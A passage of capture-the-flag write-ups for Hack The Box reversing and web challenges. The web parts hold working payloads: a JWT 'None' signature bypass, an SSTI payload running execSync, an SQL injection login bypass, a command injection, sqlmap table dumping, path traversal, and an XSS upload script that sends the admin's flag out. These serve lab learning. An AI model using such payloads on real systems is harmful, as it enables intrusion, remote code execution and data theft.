&& 93 | ((char)(local_88[5] + local_88[53]) == -0x6a)) && 94 | ((char)(local_88[49] * local_88[42]) == '`')) && 95 | (((char)(local_88[48] * local_88[21]) == '\x14' && 96 | ((char)(local_88[27] - local_88[52]) == '\x03')))))))) && 97 | ((char)(local_88[57] + local_88[20]) == -0x6b)))) && 98 | ((((char)(local_88[10] * local_88[53]) == -0x26 && 99 | ((char)(local_88[1] + local_88[41]) == -0x3c)) && 100 | (((char)(local_88[47] - local_88[1]) == '\v' && 101 | (((local_88[43] == local_88[19] && ((char)(local_88[39] + local_88[47]) == -0x6d)) && 102 | ((char)(local_88[12] * local_88[58]) == 'Q')))))))))))))) && 103 | (((((char)(local_88[8] * local_88[26]) == 'A' && ((char)(local_88[46] - local_88[31]) == 'E')) 104 | && ((char)(local_88[7] + local_88[37]) == 'h')) && 105 | (((((char)(local_88[36] + local_88[4]) == -0x44 && 106 | ((char)(local_88[31] + local_88[32]) == -0x5e)) && 107 | (((char)(local_88[25] + local_88[5]) == 'e' && 108 | ((((char)(local_88[43] * local_88[29]) == -0x13 && 109 | ((byte)(local_88[13] ^ local_88[45]) == 0x10)) && 110 | ((char)(local_88[48] - local_88[12]) == ';')))))) && 111 | (((((char)(local_88[23] - local_88[8]) == '\t' && 112 | ((byte)(local_88[7] ^ local_88[42]) == 0x41)) && 113 | ((char)(local_88[5] - local_88[43]) == -3)) && 114 | (((((byte)(local_88[60] ^ local_88[18]) == 0x1a && 115 | ((byte)(local_88[1] ^ local_88[3]) == 0x2f)) && 116 | (((char)(local_88[17] - local_88[39]) == '+' && 117 | (((((char)(local_88[8] + local_88[20]) == -0x2d && 118 | ((char)(local_88[11] * local_88[53]) == -0x28)) && 119 | ((char)(local_88[27] + local_88[6]) == -0x2e)) && 120 | (((char)(local_88[5] + local_88[3]) == -0x55 && 121 | ((char)(local_88[35] - local_88[47]) == -0x2e)))))))) && 122 | ((byte)(local_88[16] ^ local_88[33]) == 0x10)))))))))) { 123 | puts("Freedom at last!"); 124 | } 125 | ``` 126 | 127 | Now I promised myself to get more familiar with `angr` and tools as such before the contest, however I didn't have time. Reversing challenges that are solved with symbolic exeuction/SAT solving are somewhat popular I would say, still I had the pleasure of solving this by hand. 128 | 129 | Because this is a flag, we know that the first four characters are `HTB{`. 130 | Then we can look for conditions where we know on side of the check, and try to see if there's a singular solution to the condition e.g ` == `. 131 | 132 | Turns out there are quite some characters for which this is the case. As we start resolving more and more symbols this becomes easier. And finally get the flag. 133 | 134 | HTB{H0p3_u_d1dn't_g3t_th15_by_h4nd,1t5_4_pr3tty_l0ng_fl4g!!!} 135 | 136 | And the flag even jokes about my solution to the problem. For my next CTF I'll definitely read up on and practice with the intended method. 137 | -------------------------------------------------------------------------------- /reversing/hunting_license.md: -------------------------------------------------------------------------------- 1 | # Hunting license (easy) 2 | First the binary asks us if we are up for the challenge, and we need to reply with `y` 3 | 4 | Then the first password is asked, let's see how to get it: 5 | In ghidra we look into the `exam` function and find 6 | 7 | ```c 8 | local_10 = (char *)readline( 9 | "Okay, first, a warmup - what\'s the first password? This one\'s not ev en hidden: " 10 | ); 11 | iVar1 = strcmp(local_10,"PasswordNumeroUno"); 12 | ``` 13 | 14 | Okay, so we know that the first password is *PasswordNumeroUno* 15 | 16 | Then for the second password we have the following fragment: 17 | 18 | ```c 19 | reverse(&local_1c,t,0xb); 20 | local_10 = (char *)readline("Getting harder - what\'s the second password? "); 21 | iVar1 = strcmp(local_10,(char *)&local_1c); 22 | ``` 23 | 24 | First `t` is reversed, then it is checked against the user input. 25 | 26 | Therefore we take `t` convert it to ASCII and revers it to get *P4ssw0rdTw0* 27 | 28 | For the third password the following code is executed: 29 | ```c 30 | xor(&local_38,t2,0x11,0x13); 31 | local_10 = (char *)readline("Your final test - give me the third, and most protected, password: ") 32 | ; 33 | iVar1 = strcmp(local_10,(char *)&local_38); 34 | ``` 35 | 36 | Here we see that the `xor` function is called on `t2` and then the result will need to be equal to our password. 37 | 38 | ```c 39 | void xor(long param_1,long param_2,ulong length,byte param_4) 40 | 41 | { 42 | int local_c; 43 | 44 | for (local_c = 0; (ulong)(long)local_c < length; local_c = local_c + 1) { 45 | *(byte *)(param_1 + local_c) = *(byte *)(param_2 + local_c) ^ param_4; 46 | } 47 | return; 48 | } 49 | ``` 50 | 51 | An this is the xor function, so we see that `local_38` is the destination and `t2` is the input. 52 | 53 | The first `0x11` bytes are going to be xored with `0x13`. 54 | 55 | After performing the above operations on `t2` we get *ThirdAndFinal!!!* 56 | 57 | Now the actual solution to the challenge is answering some interactive question on a docker instance, so let's do that: 58 | 59 | > What is the file format of the executable? 60 | elf 61 | 62 | > What is the CPU architecture of the executable? 63 | x86_64 64 | 65 | > What library is used to read lines for user answers? (`ldd` may help) 66 | readline 67 | 68 | > What is the address of the `main` function? 69 | 0x401172 70 | 71 | > How many calls to `puts` are there in `main`? (using a decompiler may help) 72 | 5 73 | 74 | > What is the first password? 75 | PasswordNumeroUno 76 | 77 | > What is the reversed form of the second password? 78 | 0wTdr0wss4P 79 | 80 | > What is the real second password? 81 | P4ssw0rdTw0 82 | 83 | > What is the XOR key used to encode the third password? 84 | 0x13 85 | 86 | > What is the third password? 87 | ThirdAndFinal!!! 88 | 89 | > [+] Here is the flag: `HTB{l1c3ns3_4cquir3d-hunt1ng_t1m3!}` 90 | -------------------------------------------------------------------------------- /reversing/needle_in_a_haystack.md: -------------------------------------------------------------------------------- 1 | # Needle in a haystack (very easy) 2 | The classic reverse engineering challenge solution. 3 | 4 | ```shell 5 | ➜ rev_needle_haystack strings haystack | grep HTB 6 | HTB{d1v1ng_1nt0_th3_d4tab4nk5} 7 | ``` 8 | -------------------------------------------------------------------------------- /reversing/shattered_tablet.md: -------------------------------------------------------------------------------- 1 | # Shattered tablet (very easy) 2 | I loaded the binary into ghidra and saw a bif `if` statement 3 | 4 | ```c 5 | printf("Hmmmm... I think the tablet says: "); 6 | fgets(local_48,0x40,stdin); 7 | if (((((((((local_48[31] == 'p') && (local_48[1] == 'T')) && (local_48[7] == 'k')) && 8 | ((local_48[36] == 'd' && (local_48[11] == '4')))) && 9 | ((local_48[20] == 'e' && ((local_48[10] == '_' && (local_48[0] == 'H')))))) && 10 | (local_48[34] == 'r')) && 11 | ((((local_48[35] == '3' && (local_48[25] == '_')) && (local_48[2] == 'B')) && 12 | (((local_48[29] == 'r' && (local_48[3] == '{')) && 13 | ((local_48[26] == 'b' && ((local_48[5] == 'r' && (local_48[13] == '4')))))))))) && 14 | (((local_48[30] == '3' && 15 | (((local_48[19] == 'v' && (local_48[12] == 'p')) && (local_48[33] == '1')))) && 16 | (((local_48[27] == '3' && (local_48[17] == 'n')) && 17 | (((local_48[4] == 'b' && ((local_48[32] == '4' && (local_48[9] == 'n')))) && 18 | (local_48[16] == ',')))))))) && 19 | (((((((local_48[8] == '3' && (local_48[6] == '0')) && (local_48[23] == 't')) && 20 | ((local_48[15] == 't' && (local_48[24] == '0')))) && 21 | ((local_48[14] == 'r' && ((local_48[37] == '}' && (local_48[21] == 'r')))))) && 22 | (local_48[22] == '_')) && ((local_48[18] == '3' && (local_48[28] == '_')))))) { 23 | puts("Yes! That\'s right!"); 24 | } 25 | ``` 26 | 27 | Basically check if we have entered the correct flag. 28 | 29 | To get the flag I have copied the conditions into a separate python script and replaced `==` with `=` 30 | -------------------------------------------------------------------------------- /reversing/she_shells_c_shells.md: -------------------------------------------------------------------------------- 1 | # She shells C chells (very easy) 2 | I started by loading the binary into ghidra. 3 | 4 | The binary mimics a shell and we can use the *help* command to list all valid commands. 5 | 6 | I was obviously interested in the *getflag* command, however there was a password requirement. 7 | 8 | This command is handled in the `func_flag` function in ghidra. 9 | 10 | ```c 11 | fgets((char *)&local_118,0x100,stdin); 12 | for (local_c = 0; local_c < 0x4d; local_c = local_c + 1) { 13 | *(byte *)((long)&local_118 + (long)(int)local_c) = 14 | *(byte *)((long)&local_118 + (long)(int)local_c) ^ m1[(int)local_c]; 15 | } 16 | local_14 = memcmp(&local_118,t,0x4d); 17 | if (local_14 == 0) { 18 | for (local_10 = 0; local_10 < 0x4d; local_10 = local_10 + 1) { 19 | *(byte *)((long)&local_118 + (long)(int)local_10) = 20 | *(byte *)((long)&local_118 + (long)(int)local_10) ^ m2[(int)local_10]; 21 | } 22 | printf("Flag: %s\n",&local_118); 23 | uVar1 = 0; 24 | } 25 | ``` 26 | 27 | So first our input is xored with bytes in `m1`, then we check if the result is same as bytes `t` 28 | Then the flag is retrieved by xoring the result with `m2`. 29 | 30 | However since `t` is the result, we can get the flag by xoring `t` with `m2`, both are present in the binary. 31 | 32 | ```python 33 | t = b'\x2c\x4a\xb7\x99\xa3\xe5\x70\x78\x93\x6e\x97\xd9\x47\x6d\x38\xbd\xff\xbb\x85\x99\x6f\xe1\x4a\xab\x74\xc3\x7b\xa8\xb2\x9f\xd7\xec\xeb\xcd\x63\xb2\x39\x23\xe1\x84\x92\x96\x09\xc6\x99\xf2\x58\xfa\xcb\x6f\x6f\x5e\x1f\xbe\x2b\x13\x8e\xa5\xa9\x99\x93\xab\x8f\x70\x1c\xc0\xc4\x3e\xa6\xfe\x93\x35\x90\xc3\xc9\x10\xe9' 34 | 35 | m2 = b'\x64\x1e\xf5\xe2\xc0\x97\x44\x1b\xf8\x5f\xf9\xbe\x18\x5d\x48\x8e\x91\xe4\xf6\xf1\x5c\x8d\x26\x9e\x2b\xa1\x02\xf7\xc6\xf7\xe4\xb3\x98\xfe\x57\xed\x4a\x4b\xd1\xf6\xa1\xeb\x09\xc6\x99\xf2\x58\xfa\xcb\x6f\x6f\x5e\x1f\xbe\x2b\x13\x8e\xa5\xa9\x99\x93\xab\x8f\x70\x1c\xc0\xc4\x3e\xa6\xfe\x93\x35\x90\xc3\xc9\x10\xe9' 36 | 37 | l = [] 38 | for x in range(0, 0x4d): 39 | l.append(chr(t[x] ^ m2[x])) 40 | 41 | print(''.join(l)) 42 | ``` 43 | -------------------------------------------------------------------------------- /warmup.md: -------------------------------------------------------------------------------- 1 | # Welcome! (very easy) 2 | This challenge was pretty simple, a flag was posted on the HTB discord server in plaintext. 3 | -------------------------------------------------------------------------------- /web/didactic_octo_paddles.md: -------------------------------------------------------------------------------- 1 | # Didactic Octo Paddles (medium) 2 | In this challenge we will exploit JWT tokens and use SSTI to get RCE. 3 | 4 | Spawning the website a login panel pops up. Nothing much we can do here, let's check the provided source code. 5 | 6 | We see that most endpoints are protected with the login prompt. 7 | We notice the register endpoint, so we could try to register and login with a user to further explore the site, however the **admin** endpoint seems way more interesting. 8 | 9 | ```javascript 10 | router.get("/admin", AdminMiddleware, async (req, res) => { 11 | try { 12 | const users = await db.Users.findAll(); 13 | const usernames = users.map((user) => user.username); 14 | 15 | res.render("admin", { 16 | users: jsrender.templates(`${usernames}`).render(), 17 | }); 18 | } catch (error) { 19 | console.error(error); 20 | res.status(500).send("Something went wrong!"); 21 | } 22 | }); 23 | ``` 24 | 25 | First of all there seems to be a clear SSTI bug which can be influenced by the usernames. 26 | So here it will be useful to register a user with a username that will trigger the SSTI and give us RCE, but first we need to successfully authenticate as admin. 27 | 28 | But the second reason this endpoint is so interesting is because it uses the `AdminMiddleware` instead of the usual `AuthMiddleware`, interesting... let's see what the `AdminMiddleware` does. 29 | 30 | 31 | ```javascript 32 | const jwt = require("jsonwebtoken"); 33 | const { tokenKey } = require("../utils/authorization"); 34 | const db = require("../utils/database"); 35 | 36 | const AdminMiddleware = async (req, res, next) => { 37 | try { 38 | const sessionCookie = req.cookies.session; 39 | if (!sessionCookie) { 40 | return res.redirect("/login"); 41 | } 42 | const decoded = jwt.decode(sessionCookie, { complete: true }); 43 | 44 | if (decoded.header.alg == 'none') { 45 | return res.redirect("/login"); 46 | } else if (decoded.header.alg == "HS256") { 47 | const user = jwt.verify(sessionCookie, tokenKey, { 48 | algorithms: [decoded.header.alg], 49 | }); 50 | if ( 51 | !(await db.Users.findOne({ 52 | where: { id: user.id, username: "admin" }, 53 | })) 54 | ) { 55 | return res.status(403).send("You are not an admin"); 56 | } 57 | } else { 58 | const user = jwt.verify(sessionCookie, null, { 59 | algorithms: [decoded.header.alg], 60 | }); 61 | if ( 62 | !(await db.Users.findOne({ 63 | where: { id: user.id, username: "admin" }, 64 | })) 65 | ) { 66 | return res 67 | .status(403) 68 | .send({ message: "You are not an admin" }); 69 | } 70 | } 71 | } catch (err) { 72 | return res.redirect("/login"); 73 | } 74 | next(); 75 | }; 76 | 77 | module.exports = AdminMiddleware; 78 | ``` 79 | 80 | Ok, so we will need a session cookie first of all. 81 | The algorithm can't be *none* because then we are forced to log in. 82 | It also can't be `HS256`, because then the token is verified against the secret, which is random. 83 | Therefore our only choice is to go into the `else` case. 84 | 85 | We see the token is verified, but instead of a secret value `null` is provided. 86 | This is our chance to bypass the authentication. 87 | Some of the choices that first came to mind: 88 | * Type juggling: provide algorithm as an array/object/boolean etc. 89 | * Provide another algorithm such as `HS512` 90 | 91 | However both of these approaches fail, to see why let's look into the `jsonwebtoken` source code. 92 | 93 | ```javascript 94 | // verify.js:102 95 | if(err) { 96 | return done(new JsonWebTokenError('error in secret or public key callback: ' + err.message)); 97 | } 98 | 99 | const hasSignature = parts[2].trim() !== ''; 100 | 101 | if (!hasSignature && secretOrPublicKey){ 102 | return done(new JsonWebTokenError('jwt signature is required')); 103 | } 104 | 105 | if (hasSignature && !secretOrPublicKey) { 106 | return done(new JsonWebTokenError('secret or public key must be provided')); 107 | } 108 | 109 | if (!hasSignature && !options.algorithms) { 110 | return done(new JsonWebTokenError('please specify "none" in "algorithms" to verify unsigned tokens')); 111 | } 112 | ``` 113 | 114 | `secretOrPublicKey` is the second argument to the call, that we know is `null`. 115 | 116 | From this we can deduce that our forged JWT token should not have a signature part, otherwise the verification fails (second `if` statement) 117 | 118 | From the third `if` statement we deduce that `algorithms` needs to be set, even if there are no signatures. 119 | 120 | ```javascript 121 | // verify.js:148 122 | if (header.alg.startsWith('HS') && secretOrPublicKey.type !== 'secret') { 123 | return done(new JsonWebTokenError((`secretOrPublicKey must be a symmetric key when using ${header.alg}`))) 124 | } else if (/^(?:RS|PS|ES)/.test(header.alg) && secretOrPublicKey.type !== 'public') { 125 | return done(new JsonWebTokenError((`secretOrPublicKey must be an asymmetric key when using ${header.alg}`))) 126 | } 127 | ``` 128 | 129 | Here we see that if use any other algorithm than *none* a field of `secretOrPublicKey` is accessed, so we can't use an alternative algorithm to `HS256` that is not `none`. 130 | 131 | ```javascript 132 | // verify.js:162 133 | let valid; 134 | 135 | try { 136 | valid = jws.verify(jwtString, decodedToken.header.alg, secretOrPublicKey); 137 | } catch (e) { 138 | return done(e); 139 | } 140 | ``` 141 | 142 | Then our variables are passed to `jws.verify`, let's look into what happens there. 143 | 144 | *jws* calls *jwa* internally to get the verification algorithm based on what we provide in `alg`. 145 | 146 | Let's see what happens when `jwa` is called: 147 | 148 | ```javascript 149 | // index.js:227 150 | module.exports = function jwa(algorithm) { 151 | var signerFactories = { 152 | hs: createHmacSigner, 153 | rs: createKeySigner, 154 | ps: createPSSKeySigner, 155 | es: createECDSASigner, 156 | none: createNoneSigner, 157 | } 158 | var verifierFactories = { 159 | hs: createHmacVerifier, 160 | rs: createKeyVerifier, 161 | ps: createPSSKeyVerifier, 162 | es: createECDSAVerifer, 163 | none: createNoneVerifier, 164 | } 165 | var match = algorithm.match(/^(RS|PS|ES|HS)(256|384|512)$|^(none)$/i); 166 | if (!match) 167 | throw typeError(MSG_INVALID_ALGORITHM, algorithm); 168 | var algo = (match[1] || match[3]).toLowerCase(); 169 | var bits = match[2]; 170 | 171 | return { 172 | sign: signerFactories[algo](bits), 173 | verify: verifierFactories[algo](bits), 174 | } 175 | }; 176 | ``` 177 | 178 | Here we see that to match the algorithm a regex is used. 179 | All looks good, however not the flag used: `i`, the case insensitive flag. 180 | This means that `none`, `None`, and `NONE` would be all valid matches. 181 | 182 | Furthermore when `algo` is decided the match itself is converted to lower case letters. 183 | 184 | But recall how in the `AdminMiddleware` we execute a case sensitive comparison with `==`. 185 | 186 | And here we have our first bug, which allows us to bypass the JWT token verification for admin. 187 | 188 | We will send the following JWT token: `eyJhbGciOiAiTm9uZSIsInR5cCI6IkpXVCJ9.eyJpZCI6MX0.`, encoded in the second part is the user ID we want, which is 1 for the admin. 189 | 190 | Now all that is left to do is to send a POST request to the `/register` endpoint and create a user with the SSTI payload as the username. 191 | 192 | ``` 193 | payload: {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}} 194 | ``` 195 | 196 | Now we log in with the **admin** user with the JWT bypass, and just enjoy the flag. 197 | -------------------------------------------------------------------------------- /web/drobots.md: -------------------------------------------------------------------------------- 1 | # Drobots (very easy) 2 | For this challange we will need to use SQL injection. 3 | 4 | Upon loading the website we are greeted with a login page. 5 | 6 | Checking the source code provided for the backend, we see that the username should be **admin** and the password is randomized. 7 | 8 | However let's read the source code responsible for the authentication of the users: 9 | 10 | ```python 11 | def login(username, password): 12 | # We should update our code base and use techniques like parameterization to avoid SQL Injection 13 | user = query_db(f'SELECT password FROM users WHERE username = "{username}" AND password = "{password}" ', one=True) 14 | 15 | if user: 16 | token = createJWT(username) 17 | return token 18 | else: 19 | return False 20 | 21 | ``` 22 | 23 | This here is clearly vulnerable to an SQL injection attack. Sending the following payload to the login endpoint will allow us to log in as admin, and read the flag. 24 | ```json 25 | { 26 | "username": "admin", 27 | "password": "\" OR 1=1 -- " 28 | } 29 | ``` 30 | -------------------------------------------------------------------------------- /web/gunhead.md: -------------------------------------------------------------------------------- 1 | # Gunhead (very easy) 2 | Simple command injection vulnerability. 3 | 4 | Upon loading the website I checked all the different buttons, and the most interesting was the `command` button on the left. 5 | 6 | The `clear` and `storage` command do not seem to communicate with the server, however the `ping` command does. 7 | 8 | Our input is being directly passed to `shell_exec`, so we could use a command like: 9 | 10 | ``` 11 | /PING 192.168.10.1; CAT /FLAG.TXT 12 | ``` 13 | 14 | To get the flag. 15 | -------------------------------------------------------------------------------- /web/orbital/README.md: -------------------------------------------------------------------------------- 1 | # Orbital (easy) 2 | In this challange we continue exploiting SQL injection. 3 | 4 | Upon loading the website we are greeted with a login prompt. 5 | Nothing much to go off of, so I checked the provided backend code. 6 | 7 | I checked the login mechanism and saw that it still had SQL injection in the `database.py` file: 8 | ```python 9 | def login(username, password): 10 | # I don't think it's not possible to bypass login because I'm verifying the password later. 11 | user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True) 12 | 13 | if user: 14 | passwordCheck = passwordVerify(user['password'], password) 15 | 16 | if passwordCheck: 17 | token = createJWT(user['username']) 18 | return token 19 | else: 20 | return False 21 | ``` 22 | 23 | However this time the password isn't part of the query, therefore the check can't be directly bypassed. 24 | But this is still an SQL injection nevertheless. 25 | 26 | Since no results are reflected back apart from the success/failure of the authentication, this will be a blind sql injection attack. 27 | 28 | To automate the process I have used the `sqlmap` command (`community/sqlmap` package on archlinux). 29 | Since this was a POST request with JSON data, I have decided it would be easiest to provide a *request file* to sqlmap. 30 | 31 | In this file I specify all request headers, the target and the body. 32 | We can use the `*` character to indicate where we want the injection to happen, this is the `username` field for us. 33 | 34 | ```shell 35 | ➜ web_orbital sqlmap -r $(pwd)/req.txt --ignore-code 401 36 | ``` 37 | 38 | This command will test for SQL injection, we ignore code 401, since that is most likely a result of some input the server couldn't handle. 39 | 40 | Now we can use the sqlmap options, such as `--tables` and `--dump` to list all the tables, and then dump a given table 41 | 42 | ```shell 43 | ➜ web_orbital sqlmap -r $(pwd)/req.txt --ignore-code 401 -T users --dump 44 | ``` 45 | 46 | This command will list everything it can find in the users table. 47 | Here we will find the username and password of the admin user 48 | ``` 49 | [22:35:46] [INFO] retrieved: '1' 50 | [22:35:46] [INFO] retrieved: '1692b753c031f2905b89e7258dbc49bb' 51 | [22:35:46] [INFO] retrieved: 'admin' 52 | [22:35:46] [INFO] recognized possible password hashes in column 'password' 53 | ``` 54 | 55 | However we see that the password seems like a hash. 56 | And indeed checking the source code in `util.py` confirms this theory. 57 | 58 | ```python 59 | def passwordVerify(hashPassword, password): 60 | md5Hash = hashlib.md5(password.encode()) 61 | 62 | if md5Hash.hexdigest() == hashPassword: return True 63 | else: return False 64 | ``` 65 | 66 | However I threw this hash into a reverse md5 lookup and got the result: *ichliebedich* 67 | 68 | Now we can use these credentails to log in as admin, however we still need to get the flag. 69 | 70 | The flag this time lives in a file in `/signal_sleuth_firmware`. 71 | My attention immediately jumped to the export feature for recent communications. 72 | Upon checking the source code for this section, and arbitrary file read bug is identified: 73 | 74 | ```python 75 | @api.route('/export', methods=['POST']) 76 | @isAuthenticated 77 | def exportFile(): 78 | if not request.is_json: 79 | return response('Invalid JSON!'), 400 80 | 81 | data = request.get_json() 82 | communicationName = data.get('name', '') 83 | 84 | try: 85 | # Everyone is saying I should escape specific characters in the filename. I don't know why. 86 | return send_file(f'/communications/{communicationName}', as_attachment=True) 87 | except: 88 | return response('Unable to retrieve the communication'), 400 89 | ``` 90 | 91 | When sending this request we can simply provide `../../../../../signal_sleuth_firmware` and then we get the flag in base64 encoded format. 92 | -------------------------------------------------------------------------------- /web/passman.md: -------------------------------------------------------------------------------- 1 | # Passman (easy) 2 | In this challenge we will work with graphql and attack lack of input validation. 3 | 4 | When opening the website we will see a login page. 5 | This time there's also the option to create a user, so let's do that. 6 | 7 | Logging in to the website we can use the password manager and add password. 8 | 9 | Through this we inspect what a **muatation query** looks like: 10 | 11 | ```json 12 | { 13 | "query": "mutation($recType: String!, $recAddr: String!, $recUser: String!, $recPass: String!, $recNote: String!) { AddPhrase(recType: $recType, recAddr: $recAddr, recUser: $recUser, recPass: $recPass, recNote: $recNote) { message } }", 14 | "variables": { 15 | "recType": "Web", 16 | "recAddr": "asd", 17 | "recUser": "asd", 18 | "recPass": "asd", 19 | "recNote": "asd" 20 | } 21 | } 22 | ``` 23 | 24 | We see that **mutation** is used for queries that add/update information. 25 | We see that this lists the types of variables first, and then inside the curly braces constructs the object to be added, and then inside another set of braces declares the result we get back. 26 | 27 | Then we declare all of our variables and set their values. 28 | 29 | Now we turn our attention to the `helpers/GraphqlHelper.js` file. 30 | Here we have all types of graphql requests that we can make, however one stands out: 31 | 32 | ```javascript 33 | UpdatePassword: { 34 | type: ResponseType, 35 | args: { 36 | username: { type: new GraphQLNonNull(GraphQLString) }, 37 | password: { type: new GraphQLNonNull(GraphQLString) } 38 | }, 39 | resolve: async (root, args, request) => { 40 | return new Promise((resolve, reject) => { 41 | if (!request.user) return reject(new GraphQLError('Authentication required!')); 42 | 43 | db.updatePassword(args.username, args.password) 44 | .then(() => resolve(response("Password updated successfully!"))) 45 | .catch(err => reject(new GraphQLError(err))); 46 | }); 47 | } 48 | }, 49 | ``` 50 | 51 | Here we see that we can send a request to update passwords of users. 52 | 53 | The function checks if we are logged in, but allows to update the password of any other user, therefore our attack will go as follows: 54 | 1. Create any user 55 | 2. Authenticate as that user to get a session 56 | 3. Send a request to the `UpdatePassword` function to change the admin password 57 | 4. Login as admin 58 | 59 | I crafted the following graphql request to update the password of the admin user 60 | 61 | ```json 62 | { 63 | "query": "mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message } }", 64 | "variables": { 65 | "username": "admin", 66 | "password": "pwned" 67 | } 68 | } 69 | ``` 70 | 71 | After this we log in as admin, and unhide the only password that is stored, and that is our flag. 72 | -------------------------------------------------------------------------------- /web/spybug.md: -------------------------------------------------------------------------------- 1 | # SpyBug (medium) 2 | In this challene we will use XSS, bypass CSP and exploit unprotected endpoints. 3 | 4 | There's a login page, and checking the provided source code all endpoints seem to be protected by the login. 5 | The only user seems to be **admin** with an unknown password and we can't register our own users. 6 | 7 | We want to target the **admin** user, since when logging in to the panel the welcome message gets replaced by the flag for the admin user. 8 | 9 | ```javascript 10 | router.get("/panel", authUser, async (req, res) => { 11 | res.render("panel", { 12 | username: 13 | req.session.username === "admin" 14 | ? process.env.FLAG 15 | : req.session.username, 16 | agents: await getAgents(), 17 | recordings: await getRecordings(), 18 | }); 19 | }); 20 | ``` 21 | 22 | However exploring further I stumble upon the **agents** part of the website. 23 | We can register agents without any authentication. 24 | And once agents are registered the only authentication is providin and id and a token, that we get as a result of the registration. 25 | 26 | So what can we do with an agent? 27 | * Change information: `hostname`, `platform` and `arch` 28 | * Upload files adhereing to certain requirements 29 | 30 | To find out why this is important let's circle back to the admin panel (`views/panel.pug`): 31 | 32 | ```pug 33 | hr 34 | h2 #{"Welcome back " + username} 35 | hr 36 | h3 37 | i.las.la-laptop 38 | |  Agents 39 | if agents.length > 0 40 | table.w-100 41 | thead 42 | tr 43 | th ID 44 | th Hostname 45 | th Platform 46 | th Arch 47 | tbody 48 | each agent in agents 49 | tr 50 | td= agent.identifier 51 | td !{agent.hostname} 52 | td !{agent.platform} 53 | td !{agent.arch} 54 | else 55 | h2 No agents 56 | ``` 57 | 58 | We see that the admin can see the list of agents, but look at that! 59 | What is `!{}`? 60 | 61 | After some exploration I read the following: 62 | > It’s also possible to render unescaped values into your templates using `!{}` 63 | 64 | Okay, so we have an XSS vector here. 65 | 66 | Now let's see why this is useful: 67 | ```javascript 68 | // index.js 69 | setInterval(visitPanel, 60000); 70 | ``` 71 | 72 | `visitPanel` is called every minute after the server is started. 73 | 74 | ```javascript 75 | // utils/adminbot.js 76 | exports.visitPanel = async () => { 77 | try { 78 | const browser = await puppeteer.launch(browserOptions); 79 | let context = await browser.createIncognitoBrowserContext(); 80 | let page = await context.newPage(); 81 | 82 | page.on("pageerror", async error => { 83 | console.log(error.toString()); 84 | }); 85 | 86 | await page.goto("http://0.0.0.0:" + process.env.API_PORT, { 87 | waitUntil: "networkidle2", 88 | timeout: 5000, 89 | }); 90 | 91 | await page.type("#username", "admin"); 92 | await page.type("#password", process.env.ADMIN_SECRET); 93 | await page.click("#loginButton"); 94 | 95 | await page.waitForTimeout(5000); 96 | console.log(await page.content()) 97 | await browser.close(); 98 | } catch (e) { 99 | console.log(e); 100 | } 101 | }; 102 | ``` 103 | 104 | So we have a periodic login with the admin user! 105 | 106 | Now I immediately crafted and XSS exploit that would read the flag from the HTML source and send it to my extractor server. However this didn't work out so well. 107 | 108 | After calming down and going back to `index.js`: 109 | ```javascript 110 | application.use((req, res, next) => { 111 | res.setHeader("Content-Security-Policy", "script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';"); 112 | res.setHeader("Cache-Control", "no-cache, no-store, must-revalidate"); 113 | res.setHeader("Pragma", "no-cache"); 114 | res.setHeader("Expires", "0"); 115 | next(); 116 | }); 117 | ``` 118 | 119 | Huh, CSP! We can't have inline scripts, our scripts from any source other than the website itself. 120 | 121 | But let's recall that the **agents** has another capability, which was to upload files! 122 | 123 | ```javascript 124 | // index.js:68 125 | router.post( 126 | "/agents/upload/:identifier/:token", 127 | authAgent, 128 | multerUpload.single("recording"), 129 | async (req, res) => { 130 | console.log('upload-router') 131 | if (!req.file) return res.sendStatus(400); 132 | 133 | console.log('upload-hasfile') 134 | const filepath = path.join("./uploads/", req.file.filename); 135 | const buffer = fs.readFileSync(filepath).toString("hex"); 136 | 137 | if (!buffer.match(/52494646[a-z0-9]{8}57415645/g)) { 138 | console.log('upload-nomatch') 139 | fs.unlinkSync(filepath); 140 | return res.sendStatus(400); 141 | } 142 | 143 | await createRecording(req.params.identifier, req.file.filename); 144 | console.log('upload-hasdb') 145 | res.send(req.file.filename); 146 | } 147 | ); 148 | ``` 149 | 150 | Ok, it is using the `multer` package to handle file uploads. 151 | 152 | ```javascript 153 | // index.js:30 154 | if ( 155 | file.mimetype === "audio/wave" && 156 | path.extname(file.originalname) === ".wav" 157 | ) { 158 | console.log('multer filter OK') 159 | cb(null, true); 160 | } 161 | ``` 162 | 163 | Okay we need to set the mime type and the file extension, we can easily do this. 164 | 165 | Looking at the previous code segment, there are also checks performed on the file content. 166 | First it is converted to hex and then it needs to match a regex. 167 | Converting the hex back to ascii we see what the criteria is: 168 | `RIFF####WAVE`, where `#` can be any number or lowercase letter, moreover this match doesn't need to be exactly at the start of the file. 169 | To bypass this I just add comment in the javascript exploit satisfying the criteria. 170 | 171 | Thus the following request is constructed in order to defeat the upload filter: 172 | 173 | ``` 174 | POST /agents/upload/07074041-0dc9-4631-bbdc-ef47aacac8bf/e7ceab6e-996e-4926-9e62-f2f3a6010a73 HTTP/1.1 175 | 176 | Host: localhost:1337 177 | 178 | User-Agent: curl/7.88.1 179 | 180 | Accept: */* 181 | 182 | Content-Length: 312 183 | 184 | Content-Type: multipart/form-data; boundary=------------------------c0f40fce34781d0f 185 | 186 | Connection: close 187 | 188 | 189 | 190 | --------------------------c0f40fce34781d0f 191 | 192 | Content-Disposition: form-data; name="recording"; filename="exploit.wav" 193 | 194 | Content-Type: audio/wave 195 | 196 | 197 | 198 | //RIFFabcdWAVE 199 | 200 | fetch('http://' + document.querySelector('h2').innerText).then(r => console.log(r)) 201 | 202 | 203 | --------------------------c0f40fce34781d0f-- 204 | 205 | ``` 206 | 207 | After this the only that is left to do is to inject a script tag with the XSS vulnerability that points to this file. 208 | 209 | ``` 210 | POST /agents/details/07074041-0dc9-4631-bbdc-ef47aacac8bf/e7ceab6e-996e-4926-9e62-f2f3a6010a73 HTTP/1.1 211 | 212 | Host: localhost:1337 213 | 214 | Content-Length: 124 215 | 216 | Cache-Control: max-age=0 217 | 218 | Upgrade-Insecure-Requests: 1 219 | 220 | Origin: http://localhost:1337 221 | 222 | Content-Type: application/x-www-form-urlencoded 223 | 224 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36 225 | 226 | Accept: 